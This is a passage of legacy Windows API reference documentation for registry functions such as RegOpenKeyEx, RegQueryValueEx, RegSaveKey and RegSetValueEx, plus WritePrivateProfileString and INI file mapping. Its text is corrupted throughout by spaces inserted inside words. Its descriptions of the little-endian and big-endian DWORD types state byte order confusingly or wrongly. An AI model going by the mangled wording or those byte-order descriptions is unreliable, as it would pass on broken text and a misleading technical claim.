WI NERROR. H. You can use t he For mat Message f unct i on wi t h t he
FORMAT_MESSAGE_FROM_SYSTEM f l ag t o get a gener i c descr i pt i on of t he er r or .

Remar ks

The RegOpenKey f unct i on uses t he def aul t secur i t y access mask t o open a key. I f
openi ng t he key r equi r es a di f f er ent mask, t he f unct i on f ai l s, r et ur ni ng
ERROR_ACCESS_DENI ED. An appl i cat i on shoul d use t he RegOpenKeyEx f unct i on t o
speci f y an access mask i n t hi s si t uat i on.


Unl i ke t he RegCr eat eKey f unct i on, RegOpenKey does not cr eat e t he speci f i ed key
i f t he key does not exi st i n t he dat abase.

See Al so

RegCl oseKey, RegCr eat eKey, RegCr eat eKeyEx, RegDel et eKey

RegOpenKeyEx

The RegOpenKeyEx f unct i on opens t he speci f i ed key.

LONG RegOpenKeyEx(

HKEY hKey, / / handl e of open key
LPCTSTR l pSubKey, / / addr ess of name of subkey t o open
DWORD ul Opt i ons, / / r eser ved
REGSAM samDesi r ed, / / secur i t y access mask
PHKEY phkResul t / / addr ess of handl e of open key
) ;

Par amet er s

hKey

I dent i f i es a cur r ent l y open key or any of t he f ol l owi ng pr edef i ned r eser ved
handl e val ues:

HKEY_CLASSES_ROOT
HKEY_CURRENT_USER
HKEY_LOCAL_MACHI NE
HKEY_USERS

l pSubKey

Poi nt s t o a nul l - t er mi nat ed st r i ng cont ai ni ng t he name of t he subkey t o open. I f
t hi s par amet er i s NULL or a poi nt er t o an empt y st r i ng, t he f unct i on wi l l open a
new handl e of t he key i dent i f i ed by t he hKey par amet er . I n t hi s case, t he
f unct i on wi l l not cl ose t he handl es pr evi ousl y opened.


ul Opt i ons

Reser ved; must be zer o.

samDesi r ed

Speci f i es an access mask t hat descr i bes t he desi r ed secur i t y access f or t he new
key. Thi s par amet er can be a combi nat i on of t he f ol l owi ng val ues:

KEY_ALL_ACCESS
Combi nat i on of KEY_QUERY_VALUE, KEY_ENUMERATE_SUB_KEYS, KEY_NOTI FY,
KEY_CREATE_SUB_KEY, KEY_CREATE_LI NK, and KEY_SET_VALUE access.

KEY_CREATE_LI NK
Per mi ssi on t o cr eat e a symbol i c l i nk.

KEY_CREATE_SUB_KEY
Per mi ssi on t o cr eat e subkeys.


KEY_ENUMERATE_SUB_KEYS
Per mi ssi on t o enumer at e subkeys.

KEY_EXECUTE
Per mi ssi on f or r ead access.

KEY_NOTI FY
Per mi ssi on f or change not i f i cat i on.

KEY_QUERY_VALUE
Per mi ssi on t o quer y subkey dat a.

KEY_READ
Combi nat i on of KEY_QUERY_VALUE, KEY_ENUMERATE_SUB_KEYS, and KEY_NOTI FY access.

KEY_SET_VALUE
Per mi ssi on t o set subkey dat a.

KEY_WRI TE
Combi nat i on of KEY_SET_VALUE and KEY_CREATE_SUB_KEY access.

phkResul t

Poi nt s t o a var i abl e t hat r ecei ves t he handl e of t he opened key.

Ret ur n Val ues

I f t he f unct i on succeeds, t he r et ur n val ue i s ERROR_SUCCESS.

I f t he f unct i on f ai l s, t he r et ur n val ue i s a nonzer o er r or code def i ned i n
WI NERROR. H. You can use t he For mat Message f unct i on wi t h t he
FORMAT_MESSAGE_FROM_SYSTEM f l ag t o get a gener i c descr i pt i on of t he er r or .

Remar ks

Unl i ke t he RegCr eat eKeyEx f unct i on, t he RegOpenKeyEx f unct i on does not cr eat e
t he speci f i ed key i f t he key does not exi st i n t he r egi st r y.


See Al so

RegCl oseKey, RegCr eat eKeyEx, RegDel et eKey, RegOpenKey


RegQueryValue

The RegQuer yVal ue f unct i on r et r i eves t he val ue associ at ed wi t h t he unnamed val ue
f or a speci f i ed key i n t he r egi st r y. Val ues i n t he r egi st r y have name, t ype, and
dat a component s. Thi s f unct i on r et r i eves t he dat a f or a key' s f i r st val ue t hat
has a NULL name. Thi s f unct i on i s pr ovi ded f or compat i bi l i t y wi t h Wi ndows
ver si on 3. 1. Wi n32- based appl i cat i ons shoul d use t he RegQuer yVal ueEx f unct i on.

LONG RegQuer yVal ue(

HKEY hKey, / / handl e of key t o quer y
LPCTSTR l pSubKey, / / addr ess of name of subkey t o quer y
LPTSTR l pVal ue, / / addr ess of buf f er f or r et ur ned st r i ng
PLONG l pcbVal ue / / addr ess of buf f er f or si ze of r et ur ned st r i ng
) ;

Par amet er s

hKey

I dent i f i es a cur r ent l y open key or any of t he f ol l owi ng pr edef i ned r eser ved
handl e val ues:

HKEY_CLASSES_ROOT
HKEY_CURRENT_USER
HKEY_LOCAL_MACHI NE
HKEY_USERS

l pSubKey

Poi nt s t o a nul l - t er mi nat ed st r i ng cont ai ni ng t he name of t he subkey of t he hKey
par amet er f or whi ch a val ue i s t o be r et r i eved. I f t hi s par amet er i s NULL or
poi nt s t o an empt y st r i ng, t he f unct i on r et r i eves t he val ue set by t he
RegSet Val ue f unct i on f or t he key i dent i f i ed by hKey.

l pVal ue

Poi nt s t o a buf f er t hat r ecei ves t he val ue associ at ed wi t h t he l pSubKey
par amet er . The buf f er shoul d be bi g enough t o cont ai n t he t er mi nat i ng nul l
char act er . Thi s par amet er can be NULL i f t he dat a i s not r equi r ed.

I f l pVal ue i s NULL, and l pcbVal ue i s not NULL, t he f unct i on pl aces t he si ze i n
byt es of t he dat a r ef er enced by t he val ue key, i ncl udi ng t he t er mi nat i ng nul l
char act er , i nt o t he var i abl e poi nt ed t o by l pcbVal ue. Thi s l et s an appl i cat i on
det er mi ne how t o best pr eal l ocat e a buf f er f or t he val ue key' s dat a.

l pcbVal ue

Poi nt s t o a var i abl e speci f yi ng t he si ze, i n byt es, of t he buf f er poi nt ed t o by
t he l pVal ue par amet er . When t he f unct i on r et ur ns, t hi s var i abl e cont ai ns t he
si ze of t he dat a copi ed t o l pVal ue, i ncl udi ng t he t er mi nat i ng nul l char act er .

I f t he buf f er speci f i ed by l pVal ue par amet er i s not l ar ge enough t o hol d t he
dat a, t he f unct i on r et ur ns t he val ue ERROR_MORE_DATA, and st or es t he r equi r ed
buf f er si ze, i n byt es, i nt o t he var i abl e poi nt ed t o by l pcbVal ue.

I f l pVal ue i s NULL, t he f unct i on r et ur ns ERROR_SUCCESS, and st or es t he si ze of
t he st r i ng, i n byt es, i nt o t he var i abl e poi nt ed t o by l pcbVal ue. Thi s l et s an
appl i cat i on det er mi ne t he best way t o al l ocat e a buf f er f or t he val ue key' s
dat a.

I n al l cases t he val ue r et ur ned i n l pcbVal ue al ways i ncl udes t he si ze of t he
t er mi nat i ng nul l char act er i n t he st r i ng.

Ret ur n Val ues

I f t he f unct i on succeeds, t he r et ur n val ue i s ERROR_SUCCESS.

I f t he f unct i on f ai l s, t he r et ur n val ue i s a nonzer o er r or code def i ned i n
WI NERROR. H. You can use t he For mat Message f unct i on wi t h t he
FORMAT_MESSAGE_FROM_SYSTEM f l ag t o get a gener i c descr i pt i on of t he er r or .

Remar ks

The key i dent i f i ed by t he hKey par amet er must have been opened wi t h
KEY_QUERY_VALUE access ( KEY_READ access i ncl udes KEY_QUERY_VALUE access) .

I f t he ANSI ver si on of t hi s f unct i on i s used ( ei t her by expl i ci t l y cal l i ng
RegQuer yVal ue or by not def i ni ng Uni code bef or e i ncl udi ng t he WI NDOWS. H f i l e) ,
t hi s f unct i on conver t s t he st or ed Uni code st r i ng t o an ANSI st r i ng bef or e
copyi ng i t t o t he buf f er speci f i ed by t he l pVal ue par amet er .

See Al so

RegEnumKey, RegEnumKeyEx, RegEnumVal ue, RegQuer yI nf oKey, RegQuer yVal ueEx,
RegSet Val ue, RegSet Val ueEx

RegQueryValueEx



The RegQuer yVal ueEx f unct i on r et r i eves t he t ype and dat a f or a speci f i ed val ue
name associ at ed wi t h an open r egi st r y key.



LONG RegQuer yVal ueEx(

HKEY hKey, / / handl e of key t o quer y
LPTSTR l pVal ueName, / / addr ess of name of val ue t o quer y
LPDWORD l pReser ved, / / r eser ved
LPDWORD l pType, / / addr ess of buf f er f or val ue t ype
LPBYTE l pDat a, / / addr ess of dat a buf f er
LPDWORD l pcbDat a / / addr ess of dat a buf f er si ze
) ;

Par amet er s

hKey

I dent i f i es a cur r ent l y open key or any of t he f ol l owi ng pr edef i ned r eser ved
handl e val ues:

HKEY_CLASSES_ROOT
HKEY_CURRENT_USER

HKEY_LOCAL_MACHI NE
HKEY_USERS

l pVal ueName

Poi nt s t o a nul l - t er mi nat ed st r i ng cont ai ni ng t he name of t he val ue t o be
quer i ed.

l pReser ved

Reser ved; must be NULL.

l pType

Poi nt s t o a var i abl e t hat r ecei ves t he key' s val ue t ype. The val ue r et ur ned
t hr ough t hi s par amet er wi l l be one of t he f ol l owi ng:

REG_BI NARY
Bi nar y dat a i n any f or m.

REG_DWORD
A 32- bi t number .

REG_DWORD_LI TTLE_ENDI AN
A 32- bi t number i n l i t t l e- endi an f or mat ( same as REG_DWORD) . I n l i t t l e- endi an
f or mat , t he most si gni f i cant byt e of a wor d i s t he hi gh- or der byt e. Thi s i s t he
most common f or mat f or comput er s r unni ng Wi ndows NT and Wi ndows 95.


REG_DWORD_BI G_ENDI AN
A 32- bi t number i n bi g- endi an f or mat . I n bi g- endi an f or mat , t he most si gni f i cant
byt e of a wor d i s t he l ow- or der byt e.

REG_EXPAND_SZ
A nul l - t er mi nat ed st r i ng t hat cont ai ns unexpanded r ef er ences t o envi r onment
var i abl es ( f or exampl e, " %PATH%" ) . I t wi l l be a Uni code or ANSI st r i ng dependi ng
on whet her you use t he Uni code or ANSI f unct i ons.

REG_LI NK
A Uni code symbol i c l i nk.

REG_MULTI _SZ
An ar r ay of nul l - t er mi nat ed st r i ngs, t er mi nat ed by t wo nul l char act er s.


REG_NONE
No def i ned val ue t ype.

REG_RESOURCE_LI ST
A devi ce- dr i ver r esour ce l i st .

REG_SZ
A nul l - t er mi nat ed st r i ng. I t wi l l be a Uni code or ANSI st r i ng dependi ng on
whet her you use t he Uni code or ANSI f unct i ons.


The l pType par amet er can be NULL i f t he t ype i s not r equi r ed.

l pDat a

Poi nt s t o a buf f er t hat r ecei ves t he val ue' s dat a. Thi s par amet er can be NULL i f
t he dat a i s not r equi r ed.

l pcbDat a

Poi nt s t o a var i abl e t hat speci f i es t he si ze, i n byt es, of t he buf f er poi nt ed t o
by t he l pDat a par amet er . When t he f unct i on r et ur ns, t hi s var i abl e cont ai ns t he
si ze of t he dat a copi ed t o l pDat a.


I f t he buf f er speci f i ed by l pDat a par amet er i s not l ar ge enough t o hol d t he
dat a, t he f unct i on r et ur ns t he val ue ERROR_MORE_DATA, and st or es t he r equi r ed
buf f er si ze, i n byt es, i nt o t he var i abl e poi nt ed t o by l pcbDat a.

I f l pDat a i s NULL, and l pcbDat a i s non- NULL, t he f unct i on r et ur ns ERROR_SUCCESS,
and st or es t he si ze of t he dat a, i n byt es, i n t he var i abl e poi nt ed t o by
l pcbDat a. Thi s l et s an appl i cat i on det er mi ne t he best way t o al l ocat e a buf f er
f or t he val ue key' s dat a.


I f t he dat a has t he REG_SZ, REG_MULTI _SZ or REG_EXPAND_SZ t ype, t hen l pDat a wi l l
al so i ncl ude t he si ze of t he t er mi nat i ng nul l char act er .

The l pcbDat a par amet er can be NULL onl y i f l pDat a i s NULL.

Ret ur n Val ues

I f t he f unct i on succeeds, t he r et ur n val ue i s ERROR_SUCCESS.

I f t he f unct i on f ai l s, t he r et ur n val ue i s a nonzer o er r or code def i ned i n
WI NERROR. H. You can use t he For mat Message f unct i on wi t h t he
FORMAT_MESSAGE_FROM_SYSTEM f l ag t o get a gener i c descr i pt i on of t he er r or .


Remar ks

The key i dent i f i ed by hKey must have been opened wi t h KEY_QUERY_VALUE access. To
open t he key, use t he RegCr eat eKeyEx or RegOpenKeyEx f unct i on.

Thi s f unct i on does not expand t he envi r onment - var i abl e names i n t he val ue dat a
when t he val ue t ype i s REG_EXPAND_SZ. The ExpandEnvi r onment St r i ngs f unct i on can
be used t o expand t he envi r onment - var i abl e names.

I f t he val ue dat a has t he REG_SZ, REG_MULTI _SZ or REG_EXPAND_SZ t ype, and t he
ANSI ver si on of t hi s f unct i on i s used ( ei t her by expl i ci t l y cal l i ng
RegQuer yVal ueEx or by not def i ni ng Uni code bef or e i ncl udi ng t he WI NDOWS. H f i l e) ,
t hi s f unct i on conver t s t he st or ed Uni code st r i ng t o an ANSI st r i ng bef or e
copyi ng i t t o t he buf f er poi nt ed t o by l pDat a.


When cal l i ng t he RegQuer yVal ueEx f unct i on wi t h hKey set t o t he
HKEY_PERFORMANCE_DATA handl e and a val ue st r i ng of a speci f i ed obj ect , t he
r et ur ned dat a st r uct ur e somet i mes has unr equest ed obj ect s. Don' t be sur pr i sed;
t hi s i s nor mal behavi or . When cal l i ng t he RegQuer yVal ueEx f unct i on, you shoul d
al ways expect t o wal k t he r et ur ned dat a st r uct ur e t o l ook f or t he r equest ed
obj ect .

See Al so

ExpandEnvi r onment St r i ngs, RegCr eat eKeyEx, RegEnumKey, RegEnumKeyEx,
RegEnumVal ue, RegOpenKeyEx


RegSaveKey


The RegSaveKey f unct i on saves t he speci f i ed key and al l of i t s subkeys and
val ues t o a new f i l e.


LONG RegSaveKey(

HKEY hKey, / / handl e of key wher e save begi ns
LPCTSTR l pFi l e, / / addr ess of f i l ename t o save t o
LPSECURI TY_ATTRI BUTES l pSecur i t yAt t r i but es / / addr ess of secur i t y st r uct ur e
) ;

Par amet er s

hKey

Speci f i es a handl e of t he key wher e t he save oper at i on i s t o begi n, or any of
t he f ol l owi ng pr edef i ned r eser ved handl e val ues:

HKEY_CLASSES_ROOT
HKEY_CURRENT_USER
HKEY_LOCAL_MACHI NE
HKEY_USERS

l pFi l e

Poi nt s t o a nul l - t er mi nat ed st r i ng cont ai ni ng t he name of t he f i l e i n whi ch t he
speci f i ed key and subkeys ar e saved.


I f t hi s f i l ename i ncl udes an ext ensi on, i t cannot be used on f i l e al l ocat i on
t abl e ( FAT) f i l e syst ems by t he RegLoadKey, RegRepl aceKey, or RegRest or eKey
f unct i on.

Wi ndows NT: I f t he f i l e al r eady exi st s, t he f unct i on f ai l s wi t h t he
ERROR_ALREADY_EXI STS er r or .

Wi ndows 95: I f t he f i l e al r eady exi st s, t he f unct i on f ai l s wi t h t he
ERROR_REGI STRY_I O_FAI LED er r or .

Wi ndows NT: I f t he st r i ng does not i ncl ude a pat h, t he f i l e i s cr eat ed i n t he
cur r ent di r ect or y of t he cal l i ng pr ocess f or a l ocal key, or i n t he
%syst emr oot %\ syst em32 di r ect or y f or a r emot e key.


Wi ndows 95: I f t he st r i ng does not i ncl ude a pat h, t he f i l e i s cr eat ed i n t he
Wi ndows r oot di r ect or y f or l ocal and r emot e keys. See Get Wi ndowsDi r ect or y.

l pSecur i t yAt t r i but es

Wi ndows NT: Poi nt er t o a SECURI TY_ATTRI BUTES st r uct ur e t hat speci f i es a secur i t y
descr i pt or f or t he new f i l e. I f l pSecur i t yAt t r i but es i s NULL, t he f i l e get s a
def aul t secur i t y descr i pt or .

Wi ndows 95: Thi s par amet er i s i gnor ed.

Ret ur n Val ues

I f t he f unct i on succeeds, t he r et ur n val ue i s ERROR_SUCCESS.


I f t he f unct i on f ai l s, t he r et ur n val ue i s a nonzer o er r or code def i ned i n
WI NERROR. H. You can use t he For mat Message f unct i on wi t h t he
FORMAT_MESSAGE_FROM_SYSTEM f l ag t o get a gener i c descr i pt i on of t he er r or .

Remar ks

I f hKey r epr esent s a key on a r emot e comput er , t he pat h descr i bed by l pFi l e i s
r el at i ve t o t he r emot e comput er .

The RegSaveKey f unct i on saves onl y nonvol at i l e keys. I t does not save vol at i l e
keys. A key i s made vol at i l e or nonvol at i l e at i t s cr eat i on; see RegCr eat eKeyEx.


Wi ndows 95: The new f i l e has t he ar chi ve, hi dden, r eadonl y, and syst em
at t r i but es.

Wi ndows NT: The new f i l e has t he ar chi ve at t r i but e.

Wi ndows NT: The cal l i ng pr ocess must have t he SE_BACKUP_NAME pr i vi l ege. For mor e
i nf or mat i on about pr i vi l eges, see Pr i vi l eges.

Wi ndows 95: Secur i t y pr i vi l eges ar e not suppor t ed or r equi r ed.

See Al so

RegCr eat eKeyEx, RegDel et eKey, RegLoadKey, RegRepl aceKey

RegSetValueEx

The RegSet Val ueEx f unct i on st or es dat a i n t he val ue f i el d of an open r egi st r y
key. I t can al so set addi t i onal val ue and t ype i nf or mat i on f or t he speci f i ed
key.

LONG RegSet Val ueEx(

HKEY hKey, / / handl e of key t o set val ue f or
LPCTSTR l pVal ueName, / / addr ess of val ue t o set
DWORD Reser ved, / / r eser ved
DWORD dwType, / / f l ag f or val ue t ype
CONST BYTE *l pDat a, / / addr ess of val ue dat a
DWORD cbDat a / / si ze of val ue dat a
) ;

Par amet er s

hKey

I dent i f i es a cur r ent l y open key or any of t he f ol l owi ng pr edef i ned r eser ved
handl e val ues:

HKEY_CLASSES_ROOT
HKEY_CURRENT_USER
HKEY_LOCAL_MACHI NE

HKEY_USERS

l pVal ueName

Poi nt s t o a st r i ng cont ai ni ng t he name of t he val ue t o set . I f a val ue wi t h t hi s
name i s not al r eady pr esent i n t he key, t he f unct i on adds i t t o t he key.

I f t hi s par amet er i s NULL or poi nt s t o an empt y st r i ng and t he dwType par amet er
i s t he REG_SZ t ype, t hi s f unct i on set s t he same val ue t he RegSet Val ue f unct i on
woul d set .

Reser ved

Reser ved; must be zer o.

dwType

Speci f i es t he t ype of i nf or mat i on t o be st or ed as t he val ue' s dat a. Thi s
par amet er can be one of t he f ol l owi ng val ues:

REG_BI NARY
Bi nar y dat a i n any f or m.

REG_DWORD
A 32- bi t number .

REG_DWORD_LI TTLE_ENDI AN
A 32- bi t number i n l i t t l e- endi an f or mat ( same as REG_DWORD) . I n l i t t l e- endi an
f or mat , t he most si gni f i cant byt e of a wor d i s t he hi gh- or der byt e. Thi s i s t he
most common f or mat f or comput er s r unni ng Wi ndows NT and Wi ndows 95.

REG_DWORD_BI G_ENDI AN
A 32- bi t number i n bi g- endi an f or mat . I n bi g- endi an f or mat , t he most si gni f i cant
byt e of a wor d i s t he l ow- or der byt e.

REG_EXPAND_SZ
A nul l - t er mi nat ed st r i ng t hat cont ai ns unexpanded r ef er ences t o envi r onment
var i abl es ( f or exampl e, " %PATH%" ) . I t wi l l be a Uni code or ANSI st r i ng dependi ng
on whet her you use t he Uni code or ANSI f unct i ons.

REG_LI NK
A Uni code symbol i c l i nk.

REG_MULTI _SZ
An ar r ay of nul l - t er mi nat ed st r i ngs, t er mi nat ed by t wo nul l char act er s.

REG_NONE
No def i ned val ue t ype.

REG_RESOURCE_LI ST
A devi ce- dr i ver r esour ce l i st .

REG_SZ
A nul l - t er mi nat ed st r i ng. I t wi l l be a Uni code or ANSI st r i ng dependi ng on
whet her you use t he Uni code or ANSI f unct i ons.



l pDat a

Poi nt s t o a buf f er cont ai ni ng t he dat a t o be st or ed wi t h t he speci f i ed val ue
name.

cbDat a

Speci f i es t he si ze, i n byt es, of t he i nf or mat i on poi nt ed t o by t he l pDat a
par amet er . I f t he dat a i s of t ype REG_SZ, REG_EXPAND_SZ, or REG_MULTI _SZ, cbDat a
must i ncl ude t he si ze of t he t er mi nat i ng nul l char act er .

Ret ur n Val ues

I f t he f unct i on succeeds, t he r et ur n val ue i s ERROR_SUCCESS.

I f t he f unct i on f ai l s, t he r et ur n val ue i s a nonzer o er r or code def i ned i n
WI NERROR. H. You can use t he For mat Message f unct i on wi t h t he
FORMAT_MESSAGE_FROM_SYSTEM f l ag t o get a gener i c descr i pt i on of t he er r or .

Remar ks

Val ue l engt hs ar e l i mi t ed by avai l abl e memor y. Long val ues ( mor e t han 2048
byt es) shoul d be st or ed as f i l es wi t h t he f i l enames st or ed i n t he r egi st r y. Thi s
hel ps t he r egi st r y per f or mef f i ci ent l y. Appl i cat i on el ement s such as i cons,
bi t maps, and execut abl e f i l es shoul d be st or ed as f i l es and not be pl aced i n t he
r egi st r y.

The key i dent i f i ed by t he hKey par amet er must have been opened wi t h
KEY_SET_VALUE access. To open t he key, use t he RegCr eat eKeyEx or RegOpenKeyEx
f unct i on.

I f dwType i s t he REG_SZ, REG_MULTI _SZ or REG_EXPAND_SZ t ype and t he ANSI ver si on
of t hi s f unct i on i s used ( ei t her by expl i ci t l y cal l i ng RegSet Val ueEx or by not
def i ni ng Uni code bef or e i ncl udi ng t he WI NDOWS. H f i l e) , t he dat a poi nt ed t o by
t he l pDat a par amet er must be an ANSI char act er st r i ng. The st r i ng i s conver t ed
t o Uni code bef or e i t i s st or ed i n t he r egi st r y.

See Al so

RegCr eat eKeyEx, RegFl ushKey, RegOpenKeyEx, RegQuer yVal ue


RegSetValue



The RegSet Val ue f unct i on associ at es a val ue wi t h a speci f i ed key. Thi s val ue
must be a t ext st r i ng and cannot have a name. Thi s f unct i on i s pr ovi ded f or
compat i bi l i t y wi t h Wi ndows ver si on 3. 1. Wi n32- based appl i cat i ons shoul d use t he
RegSet Val ueEx f unct i on, whi ch al l ows an appl i cat i on t o set any number of named
val ues of any dat a t ype.



LONG RegSet Val ue(

HKEY hKey, / / handl e of key t o set val ue f or
LPCTSTR l pSubKey, / / addr ess of subkey name
DWORD dwType, / / t ype of val ue
LPCTSTR l pDat a, / / addr ess of val ue dat a
DWORD cbDat a / / si ze of val ue dat a
) ;

Par amet er s

hKey

I dent i f i es a cur r ent l y open key or any of t he f ol l owi ng pr edef i ned r eser ved
handl e val ues:

HKEY_CLASSES_ROOT
HKEY_CURRENT_USER
HKEY_LOCAL_MACHI NE
HKEY_USERS

l pSubKey

Poi nt s t o a nul l - t er mi nat ed st r i ng cont ai ni ng t he name of t he subkey wi t h whi ch
a val ue i s associ at ed. Thi s par amet er can be nul l or a poi nt er t o an empt y
st r i ng. I n t hi s case, t he val ue wi l l be added t o t he key i dent i f i ed by t he hKey
par amet er .


dwType

Speci f i es t he t ype of i nf or mat i on t o be st or ed. Thi s par amet er must be t he
REG_SZ t ype. To st or e ot her dat a t ypes, use t he RegSet Val ueEx f unct i on.

l pDat a

Poi nt s t o a nul l - t er mi nat ed st r i ng cont ai ni ng t he val ue t o set f or t he speci f i ed
key.

cbDat a

Speci f i es t he l engt h, i n byt es, of t he st r i ng poi nt ed t o by t he l pDat a
par amet er , not i ncl udi ng t he t er mi nat i ng nul l char act er .

Ret ur n Val ues

I f t he f unct i on succeeds, t he r et ur n val ue i s ERROR_SUCCESS.


I f t he f unct i on f ai l s, t he r et ur n val ue i s a nonzer o er r or code def i ned i n
WI NERROR. H. You can use t he For mat Message f unct i on wi t h t he
FORMAT_MESSAGE_FROM_SYSTEM f l ag t o get a gener i c descr i pt i on of t he er r or .

Remar ks

I f t he key speci f i ed by t he l pSubKey par amet er does not exi st , t he RegSet Val ue
f unct i on cr eat es i t .

Val ue l engt hs ar e l i mi t ed by avai l abl e memor y. Long val ues ( mor e t han 2048
byt es) shoul d be st or ed as f i l es wi t h t he f i l enames st or ed i n t he r egi st r y. Thi s
hel ps t he r egi st r y per f or mef f i ci ent l y.


The key i dent i f i ed by t he hKey par amet er must have been opened wi t h
KEY_SET_VALUE access. To open t he key, use t he RegCr eat eKeyEx or RegOpenKeyEx
f unct i on. I f t he ANSI ver si on of t hi s f unct i on i s used ( ei t her by expl i ci t l y
cal l i ng RegSet Val ue or by not def i ni ng Uni code bef or e i ncl udi ng t he WI NDOWS. H
f i l e) , t he l pDat a par amet er must be an ANSI char act er st r i ng. The st r i ng i s
conver t ed t o Uni code bef or e i t i s st or ed i n t he r egi st r y.

See Al so

RegCr eat eKeyEx, RegFl ushKey, RegOpenKeyEx, RegQuer yVal ue


WritePrivateProfileString


The Wr i t ePr i vat ePr of i l eSt r i ng f unct i on copi es a st r i ng i nt o t he speci f i ed
sect i on of t he speci f i ed i ni t i al i zat i on f i l e.



Thi s f unct i on i s pr ovi ded f or compat i bi l i t y wi t h 16- bi t Wi ndows- based
appl i cat i ons. WI n32- based appl i cat i ons shoul d st or e i ni t i al i zat i on i nf or mat i on
i n t he r egi st r y.



BOOL Wr i t ePr i vat ePr of i l eSt r i ng(

LPCTSTR l pAppName, / / poi nt er t o sect i on name
LPCTSTR l pKeyName, / / poi nt er t o key name
LPCTSTR l pSt r i ng, / / poi nt er t o st r i ng t o add
LPCTSTR l pFi l eName / / poi nt er t o i ni t i al i zat i on f i l ename
) ;

Par amet er s

l pAppName

Poi nt s t o a nul l - t er mi nat ed st r i ng cont ai ni ng t he name of t he sect i on t o whi ch
t he st r i ng wi l l be copi ed. I f t he sect i on does not exi st , i t i s cr eat ed. The
name of t he sect i on i s case- i ndependent ; t he st r i ng can be any combi nat i on of
upper case and l ower case l et t er s.


l pKeyName

Poi nt s t o t he nul l - t er mi nat ed st r i ng cont ai ni ng t he name of t he key t o be
associ at ed wi t h a st r i ng. I f t he key does not exi st i n t he speci f i ed sect i on, i t
i s cr eat ed. I f t hi s par amet er i s NULL, t he ent i r e sect i on, i ncl udi ng al l ent r i es
wi t hi n t he sect i on, i s del et ed.

l pSt r i ng

Poi nt s t o a nul l - t er mi nat ed st r i ng t o be wr i t t en t o t he f i l e. I f t hi s par amet er
i s NULL, t he key poi nt ed t o by t he l pKeyName par amet er i s del et ed.

Wi ndows 95: Thi s pl at f or mdoes not suppor t t he use of t he TAB ( \ t ) char act er as
par t of t hi s par amet er .


l pFi l eName

Poi nt s t o a nul l - t er mi nat ed st r i ng t hat names t he i ni t i al i zat i on f i l e.

Ret ur n Val ues

I f t he f unct i on successf ul l y copi es t he st r i ng t o t he i ni t i al i zat i on f i l e, t he
r et ur n val ue i s nonzer o.

I f t he f unct i on f ai l s, or i f i t f l ushes t he cached ver si on of t he most r ecent l y
accessed i ni t i al i zat i on f i l e, t he r et ur n val ue i s zer o. To get ext ended er r or
i nf or mat i on, cal l Get Last Er r or .

Remar ks

Wi ndows 95:

Wi ndows 95 keeps a cached ver si on of WI N. I NI t o i mpr ove per f or mance. I f al l
t hr ee par amet er s ar e NULL, t he f unct i on f l ushes t he cache. The f unct i on al ways
r et ur ns FALSE af t er f l ushi ng t he cache, r egar dl ess of whet her t he f l ush succeeds
or f ai l s.


A sect i on i n t he i ni t i al i zat i on f i l e must have t he f ol l owi ng f or m:

[ sect i on]
key=st r i ng
.
.
.

I f t he l pFi l eName par amet er does not cont ai n a f ul l pat h and f i l ename f or t he
f i l e, Wr i t ePr i vat ePr of i l eSt r i ng sear ches t he Wi ndows di r ect or y f or t he f i l e. I f
t he f i l e does not exi st , t hi s f unct i on cr eat es t he f i l e i n t he Wi ndows
di r ect or y.

I f l pFi l eName cont ai ns a f ul l pat h and f i l ename and t he f i l e does not exi st ,
Wr i t ePr of i l eSt r i ng cr eat es t he f i l e. The speci f i ed di r ect or y must al r eady exi st .


Wi ndows NT:

Wi ndows NT maps most . I NI f i l e r ef er ences t o t he r egi st r y, usi ng t he mappi ng
def i ned under t he f ol l owi ng r egi st r y key:

HKEY_LOCAL_MACHI NE\ Sof t war e\ Mi cr osof t \
Wi ndows NT\ Cur r ent Ver si on\ I ni Fi l eMappi ng

Wi ndows NT keeps a cache f or t he I ni Fi l eMappi ng r egi st r y key. Cal l i ng
Wr i t ePr i vat ePr of i l eSt r i ngWwi t h t he val ue of al l ar gument s set t o NULL wi l l
cause Wi ndows NT t o r ef r esh i t s cache of t he I ni Fi l eMappi ngKey f or t he speci f i ed
. I NI f i l e.

The Wi n32 Pr of i l e f unct i ons ( Get / Wr i t ePr of i l e*, Get / Wr i t ePr i vat ePr of i l e*) use
t he f ol l owi ng st eps t o l ocat e i ni t i al i zat i on i nf or mat i on:


1. Look i n t he r egi st r y f or t he name of t he i ni t i al i zat i on f i l e, say myf i l e. i ni ,
under I ni Fi l eMappi ng:

HKEY_LOCAL_MACHI NE\ Sof t war e\ Mi cr osof t \
Wi ndows NT\ Cur r ent Ver si on\ I ni Fi l eMappi ng\ myf i l e. i ni

2. Look f or t he sect i on name speci f i ed by l pAppName. Thi s wi l l be a named val ue
under myf i l e. i ni , or a subkey of myf i l e. i ni , or wi l l not exi st .

3. I f t he sect i on name speci f i ed by l pAppName i s a named val ue under myf i l e. i ni ,
t hen t hat val ue speci f i es wher e i n t he r egi st r y you wi l l f i nd t he keys f or t he
sect i on.


4. I f t he sect i on name speci f i ed by l pAppName i s a subkey of myf i l e. i ni , t hen
named val ues under t hat subkey speci f y wher e i n t he r egi st r y you wi l l f i nd t he
keys f or t he sect i on. I f t he key you ar e l ooki ng f or does not exi st as a named
val ue, t hen t her e wi l l be an unnamed val ue ( shown as " <No Name>" ) t hat speci f i es
t he def aul t l ocat i on i n t he r egi st r y wher e you wi l l f i nd t he key.

5. I f t he sect i on name speci f i ed by l pAppName does not exi st as a named val ue or
as a subkey under myf i l e. i ni , t hen t her e wi l l be an unnamed val ue ( shown as " <No
Name>" ) under myf i l e. i ni t hat speci f i es t he def aul t l ocat i on i n t he r egi st r y
wher e you wi l l f i nd t he keys f or t he sect i on.


6. I f t her e i s no subkey f or myf i l e. i ni , or i f t her e i s no ent r y f or t he sect i on
name, t hen l ook f or t he act ual myf i l e. i ni on t he di sk and r ead i t s cont ent s.

When l ooki ng at val ues i n t he r egi st r y t hat speci f y ot her r egi st r y l ocat i ons,
t her e ar e sever al pr ef i xes t hat change t he behavi or of t he i ni f i l e mappi ng:

! - t hi s char act er f or ces al l wr i t es t o go bot h t o t he r egi st r y and t o t he . I NI
f i l e on di sk.

# - t hi s char act er causes t he r egi st r y val ue t o be set t o t he val ue i n t he
Wi ndows 3. 1 . I NI f i l e when a new user l ogs i n f or t he f i r st t i me af t er set up.


@- t hi s char act er pr event s any r eads f r omgoi ng t o t he . I NI f i l e on di sk i f t he
r equest ed dat a i s not f ound i n t he r egi st r y.

USR: - t hi s pr ef i x st ands f or HKEY_CURRENT_USER, and t he t ext af t er t he pr ef i x
i s r el at i ve t o t hat key.

